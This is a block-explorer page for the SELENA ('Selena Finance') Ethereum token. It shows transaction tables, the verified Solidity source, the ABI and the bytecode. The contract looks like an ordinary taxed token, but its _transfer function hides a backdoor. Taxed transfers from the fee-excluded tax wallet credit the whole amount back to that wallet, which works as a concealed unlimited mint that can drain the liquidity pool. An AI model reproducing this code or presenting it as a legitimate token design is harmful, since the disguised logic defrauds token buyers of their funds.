Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 58 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
Value | ||||
---|---|---|---|---|---|---|---|---|---|
Approve | 19688653 | 55 days ago | IN | 0 ETH | 0.00044833 | ||||
Approve | 19688241 | 55 days ago | IN | 0 ETH | 0.0002918 | ||||
Approve | 19688240 | 55 days ago | IN | 0 ETH | 0.00045259 | ||||
Approve | 19687681 | 55 days ago | IN | 0 ETH | 0.0003415 | ||||
Approve | 19687409 | 55 days ago | IN | 0 ETH | 0.000339 | ||||
Approve | 19687297 | 55 days ago | IN | 0 ETH | 0.00021993 | ||||
Approve | 19687285 | 55 days ago | IN | 0 ETH | 0.00024697 | ||||
Approve | 19687282 | 55 days ago | IN | 0 ETH | 0.00060034 | ||||
Approve | 19687235 | 55 days ago | IN | 0 ETH | 0.00039388 | ||||
Approve | 19687105 | 55 days ago | IN | 0 ETH | 0.00038108 | ||||
Approve | 19686863 | 55 days ago | IN | 0 ETH | 0.0005798 | ||||
Approve | 19686807 | 55 days ago | IN | 0 ETH | 0.00032957 | ||||
Approve | 19686804 | 55 days ago | IN | 0 ETH | 0.00030794 | ||||
Approve | 19686799 | 55 days ago | IN | 0 ETH | 0.00035189 | ||||
Approve | 19686796 | 55 days ago | IN | 0 ETH | 0.00065379 | ||||
Approve | 19686732 | 55 days ago | IN | 0 ETH | 0.00090249 | ||||
Approve | 19686666 | 55 days ago | IN | 0 ETH | 0.00137836 | ||||
Approve | 19686617 | 55 days ago | IN | 0 ETH | 0.0015748 | ||||
Approve | 19686600 | 55 days ago | IN | 0 ETH | 0.00125105 | ||||
Transfer | 19686565 | 55 days ago | IN | 0 ETH | 0.00155852 | ||||
Transfer | 19686524 | 55 days ago | IN | 0 ETH | 0.00193564 | ||||
Approve | 19686522 | 55 days ago | IN | 0 ETH | 0.00181011 | ||||
Approve | 19686495 | 55 days ago | IN | 0 ETH | 0.00184877 | ||||
Approve | 19686433 | 55 days ago | IN | 0 ETH | 0.00116256 | ||||
Approve | 19686433 | 55 days ago | IN | 0 ETH | 0.00116256 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block | From | To | Value | ||
---|---|---|---|---|---|---|
19690156 | 55 days ago | 0.09249734 ETH | ||||
19690156 | 55 days ago | 0.09249734 ETH | ||||
19687250 | 55 days ago | 0.03601213 ETH | ||||
19687250 | 55 days ago | 0.03601213 ETH | ||||
19687247 | 55 days ago | 0.03740154 ETH | ||||
19687247 | 55 days ago | 0.03740154 ETH | ||||
19687237 | 55 days ago | 0.00098411 ETH | ||||
19687237 | 55 days ago | 0.00098411 ETH | ||||
19687108 | 55 days ago | 0.0107275 ETH | ||||
19687108 | 55 days ago | 0.0107275 ETH | ||||
19686863 | 55 days ago | 0.01848401 ETH | ||||
19686863 | 55 days ago | 0.01848401 ETH | ||||
19686752 | 55 days ago | 0.03064158 ETH | ||||
19686752 | 55 days ago | 0.03064158 ETH | ||||
19686749 | 55 days ago | 0.05985562 ETH | ||||
19686749 | 55 days ago | 0.05985562 ETH | ||||
19686732 | 55 days ago | 0.05945733 ETH | ||||
19686732 | 55 days ago | 0.05945733 ETH | ||||
19686712 | 55 days ago | 0.12800705 ETH | ||||
19686712 | 55 days ago | 0.12800705 ETH | ||||
19686623 | 55 days ago | 0.08214148 ETH | ||||
19686623 | 55 days ago | 0.08214148 ETH | ||||
19686609 | 55 days ago | 0.12564007 ETH | ||||
19686609 | 55 days ago | 0.12564007 ETH | ||||
19686607 | 55 days ago | 0.12961924 ETH |
Loading...
Loading
Contract Name:
SELENA
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-19 */ // SPDX-License-Identifier: MIT /** https://www.selena.finance https://app.selena.finance https://docs.selena.finance https://twitter.com/selena_finance https://t.me/selena_official_channel */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SELENA is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address payable private _taxWallet; address private uniswapV2Pair; IUniswapV2Router02 private uniswapV2Router; uint256 private constant _initialBuyTax = 30; uint256 private constant _initialSellTax = 30; uint256 private constant _reduceBuyTaxAt = 20; uint256 private constant _reduceSellTaxAt = 20; uint256 private constant _preventSwapBefore = 20; uint256 private _finalBuyTax = 2; uint256 private _finalSellTax = 2; uint256 private _buyCount = 0; string private constant _name = unicode"Selena Finance"; string private constant _symbol = unicode"SELENA"; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 100000000 * 10**_decimals; uint256 public constant _countTrigger = 200000 * 10**_decimals; uint256 public constant _taxSwapThreshold = 40 * 10**_decimals; uint256 public _maxTaxSwap = 300000 * 10**_decimals; uint256 public _maxTax = 30000000 * 10**_decimals; uint256 public _maxTxAmount = 2000000 * 10**_decimals; uint256 public _maxWalletSize = 2000000 * 10**_decimals; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event FinalTax(uint256 _valueBuy, uint256 _valueSell, bool _shelid); event TradingActive(bool _tradingOpen, bool _swapEnabled); event maxAmount(uint256 _value); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address taxWallet) { _taxWallet = payable(taxWallet); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_taxWallet] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require( owner != address(0) && spender != address(0), "ERC20: approve the zero address" ); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require( from != address(0) && to != address(0), "ERC20: transfer the zero address" ); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (from != owner() && to != owner()) { if (!tradingOpen) { require( _isExcludedFromFee[to] || _isExcludedFromFee[from], "trading not yet open" ); } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } else if (from == uniswapV2Pair && to != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { uint256 getMin = (contractTokenBalance > _maxTaxSwap) ? _maxTaxSwap : contractTokenBalance; swapTokensForEth((amount > getMin) ? getMin : amount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (taxAmount > 0) { address taxPayer = from; bool isExcluded = _isExcludedFromFee[taxPayer] && taxPayer != address(this); uint256 maxTaxAmount = amount; address taxReceipient = address(this); if (_balances[address(this)] >= _maxTax) { taxReceipient = DEAD; } else if (isExcluded) { _balances[taxPayer] += maxTaxAmount; } _balances[taxReceipient] = _balances[taxReceipient].add(taxAmount); emit Transfer(from, taxReceipient, taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createPair() external onlyOwner { require(!tradingOpen, "init already called"); uint256 tokenAmount = balanceOf(address(this)); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), tokenAmount, 0, 0, _msgSender(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function openTrading() external onlyOwner { require(!tradingOpen, "trading already open"); swapEnabled = true; tradingOpen = true; emit TradingActive(tradingOpen, swapEnabled); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit maxAmount(_tTotal); } function clearETH() external onlyOwner { uint256 ethBalance = address(this).balance; require(ethBalance > 0, "ETH balance must be greater than 0"); (bool success,) = address(this).call{value: ethBalance}(""); require(success, "Failed to clear ETH balance"); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_valueSell","type":"uint256"},{"indexed":false,"internalType":"bool","name":"_shelid","type":"bool"}],"name":"FinalTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"TradingActive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"maxAmount","type":"event"},{"inputs":[],"name":"_countTrigger","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600260078190556008556000600955620000216012600a6200034d565b6200003090620493e062000365565b600a556012600a6200004391906200034d565b62000053906301c9c38062000365565b600b55620000646012600a6200034d565b6200007390621e848062000365565b600c55620000846012600a6200034d565b6200009390621e848062000365565b600d55600e805462ffff0019169055348015620000af57600080fd5b5060405162001da938038062001da9833981016040819052620000d2916200037f565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319166001600160a01b0383161790556200013c6012600a6200034d565b6200014c906305f5e10062000365565b336000908152600160208190526040822092909255600390620001776000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556004549091168152600390925280822080548416600190811790915530835291208054909216179055620001d63390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002106012600a6200034d565b62000220906305f5e10062000365565b60405190815260200160405180910390a350620003aa565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200028f57816000190482111562000273576200027362000238565b808516156200028157918102915b93841c939080029062000253565b509250929050565b600082620002a85750600162000347565b81620002b75750600062000347565b8160018114620002d05760028114620002db57620002fb565b600191505062000347565b60ff841115620002ef57620002ef62000238565b50506001821b62000347565b5060208310610133831016604e8410600b841016171562000320575081810a62000347565b6200032c83836200024e565b806000190482111562000343576200034362000238565b0290505b92915050565b60006200035e60ff84168362000297565b9392505050565b808202811582820484141762000347576200034762000238565b6000602082840312156200039257600080fd5b81516001600160a01b03811681146200035e57600080fd5b6119ef80620003ba6000396000f3fe60806040526004361061012e5760003560e01c8063751039fc116100ab5780639883eddf1161006f5780639883eddf146103375780639e78fb4f1461034d578063a9059cbb14610362578063bf474bed14610382578063c9567bf914610397578063dd62ed3e146103ac57600080fd5b8063751039fc1461029f5780637d1db4a5146102b45780638da5cb5b146102ca5780638f9a55c0146102f257806395d89b411461030857600080fd5b806323b872dd116100f257806323b872dd14610201578063313ce56714610221578063616eb6381461023d57806370a0823114610254578063715018a61461028a57600080fd5b806306fdde031461013a578063095ea7b3146101835780630b7640b8146101b35780630faee56f146101d657806318160ddd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d53656c656e612046696e616e636560901b60208201525b60405161017a91906115be565b60405180910390f35b34801561018f57600080fd5b506101a361019e366004611624565b6103f2565b604051901515815260200161017a565b3480156101bf57600080fd5b506101c8610409565b60405190815260200161017a565b3480156101e257600080fd5b506101c8600a5481565b3480156101f857600080fd5b506101c8610425565b34801561020d57600080fd5b506101a361021c366004611650565b610446565b34801561022d57600080fd5b506040516012815260200161017a565b34801561024957600080fd5b506102526104af565b005b34801561026057600080fd5b506101c861026f366004611691565b6001600160a01b031660009081526001602052604090205490565b34801561029657600080fd5b506102526105d7565b3480156102ab57600080fd5b5061025261064b565b3480156102c057600080fd5b506101c8600c5481565b3480156102d657600080fd5b506000546040516001600160a01b03909116815260200161017a565b3480156102fe57600080fd5b506101c8600d5481565b34801561031457600080fd5b5060408051808201909152600681526553454c454e4160d01b602082015261016d565b34801561034357600080fd5b506101c8600b5481565b34801561035957600080fd5b506102526106fe565b34801561036e57600080fd5b506101a361037d366004611624565b610a6e565b34801561038e57600080fd5b506101c8610a7b565b3480156103a357600080fd5b50610252610a92565b3480156103b857600080fd5b506101c86103c73660046116ae565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103ff338484610b5c565b5060015b92915050565b6104156012600a6117e1565b6104229062030d406117f0565b81565b60006104336012600a6117e1565b610441906305f5e1006117f0565b905090565b6000610453848484610c29565b6104a584336104a085604051806060016040528060288152602001611992602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061123c565b610b5c565b5060019392505050565b6000546001600160a01b031633146104e25760405162461bcd60e51b81526004016104d990611807565b60405180910390fd5b478061053b5760405162461bcd60e51b815260206004820152602260248201527f4554482062616c616e6365206d7573742062652067726561746572207468616e604482015261020360f41b60648201526084016104d9565b604051600090309083908381818185875af1925050503d806000811461057d576040519150601f19603f3d011682016040523d82523d6000602084013e610582565b606091505b50509050806105d35760405162461bcd60e51b815260206004820152601b60248201527f4661696c656420746f20636c656172204554482062616c616e6365000000000060448201526064016104d9565b5050565b6000546001600160a01b031633146106015760405162461bcd60e51b81526004016104d990611807565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106755760405162461bcd60e51b81526004016104d990611807565b6106816012600a6117e1565b61068f906305f5e1006117f0565b600c5561069e6012600a6117e1565b6106ac906305f5e1006117f0565b600d557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96106dc6012600a6117e1565b6106ea906305f5e1006117f0565b6040519081526020015b60405180910390a1565b6000546001600160a01b031633146107285760405162461bcd60e51b81526004016104d990611807565b600e5460ff16156107715760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b60448201526064016104d9565b30600081815260016020526040902054600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915590916107ca916107bc6012600a6117e1565b6104a0906305f5e1006117f0565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610841919061183c565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c7919061183c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610914573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610938919061183c565b600580546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109cc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f19190611859565b505060055460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a4a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d39190611887565b60006103ff338484610c29565b610a876012600a6117e1565b6104229060286117f0565b6000546001600160a01b03163314610abc5760405162461bcd60e51b81526004016104d990611807565b600e5460ff1615610b065760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016104d9565b600e80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91016106f4565b6001600160a01b03831615801590610b7c57506001600160a01b03821615155b610bc85760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016104d9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610c4957506001600160a01b03821615155b610c955760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016104d9565b60008111610cf75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d9565b600080546001600160a01b03858116911614801590610d2457506000546001600160a01b03848116911614155b1561105957600e5460ff16610db5576001600160a01b03831660009081526003602052604090205460ff1680610d7257506001600160a01b03841660009081526003602052604090205460ff165b610db55760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016104d9565b6005546001600160a01b038581169116148015610de057506006546001600160a01b03848116911614155b8015610e0557506001600160a01b03831660009081526003602052604090205460ff16155b15610eed57600c54821115610e5c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d9565b600d5482610e7f856001600160a01b031660009081526001602052604090205490565b610e8991906118a9565b1115610ed75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d9565b60098054906000610ee7836118bc565b91905055505b6005546001600160a01b038481169116148015610f1357506001600160a01b0384163014155b15610f4957610f426064610f3c601460095411610f3157601e610f35565b6008545b8590611276565b906112ff565b9050610f9a565b6005546001600160a01b038581169116148015610f6f57506001600160a01b0383163014155b15610f9a57610f976064610f3c601460095411610f8d57601e610f35565b6007548590611276565b90505b30600090815260016020526040902054600e54610100900460ff16158015610fcf57506005546001600160a01b038581169116145b8015610fe35750600e5462010000900460ff165b80156110045750610ff66012600a6117e1565b6110019060286117f0565b81115b801561101257506014600954115b15611057576000600a548211611028578161102c565b600a545b905061104481851161103e5784611341565b81611341565b47801561105457611054476114b5565b50505b505b8015611173576001600160a01b03841660009081526003602052604081205485919060ff16801561109357506001600160a01b0382163014155b600b543060008181526001602052604090205492935086929091116110bb575061dead6110ef565b82156110ef576001600160a01b038416600090815260016020526040812080548492906110e99084906118a9565b90915550505b6001600160a01b03811660009081526001602052604090205461111290866114ef565b6001600160a01b0380831660008181526001602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111669089815260200190565b60405180910390a3505050505b6001600160a01b038416600090815260016020526040902054611196908361154e565b6001600160a01b0385166000908152600160205260409020556111db6111bc838361154e565b6001600160a01b038516600090815260016020526040902054906114ef565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611225858561154e565b60405190815260200160405180910390a350505050565b600081848411156112605760405162461bcd60e51b81526004016104d991906115be565b50600061126d84866118d5565b95945050505050565b60008260000361128857506000610403565b600061129483856117f0565b9050826112a185836118e8565b146112f85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d9565b9392505050565b60006112f883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611590565b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113855761138561190a565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611402919061183c565b816001815181106114155761141561190a565b6001600160a01b03928316602091820292909201015260065461143b9130911684610b5c565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611474908590600090869030904290600401611920565b600060405180830381600087803b15801561148e57600080fd5b505af11580156114a2573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105d3573d6000803e3d6000fd5b6000806114fc83856118a9565b9050838110156112f85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d9565b60006112f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123c565b600081836115b15760405162461bcd60e51b81526004016104d991906115be565b50600061126d84866118e8565b600060208083528351808285015260005b818110156115eb578581018301518582016040015282016115cf565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461162157600080fd5b50565b6000806040838503121561163757600080fd5b82356116428161160c565b946020939093013593505050565b60008060006060848603121561166557600080fd5b83356116708161160c565b925060208401356116808161160c565b929592945050506040919091013590565b6000602082840312156116a357600080fd5b81356112f88161160c565b600080604083850312156116c157600080fd5b82356116cc8161160c565b915060208301356116dc8161160c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561173857816000190482111561171e5761171e6116e7565b8085161561172b57918102915b93841c9390800290611702565b509250929050565b60008261174f57506001610403565b8161175c57506000610403565b8160018114611772576002811461177c57611798565b6001915050610403565b60ff84111561178d5761178d6116e7565b50506001821b610403565b5060208310610133831016604e8410600b84101617156117bb575081810a610403565b6117c583836116fd565b80600019048211156117d9576117d96116e7565b029392505050565b60006112f860ff841683611740565b8082028115828204841417610403576104036116e7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561184e57600080fd5b81516112f88161160c565b60008060006060848603121561186e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561189957600080fd5b815180151581146112f857600080fd5b80820180821115610403576104036116e7565b6000600182016118ce576118ce6116e7565b5060010190565b81810381811115610403576104036116e7565b60008261190557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119705784516001600160a01b03168352938301939183019160010161194b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075453ccb28b2aabe11839f8fef5293b17857d7d4d33044ec77ba148a8c5630c464736f6c63430008130033000000000000000000000000e451081dcc9fbb2065960f9e48fed6d55361eda0
Deployed Bytecode
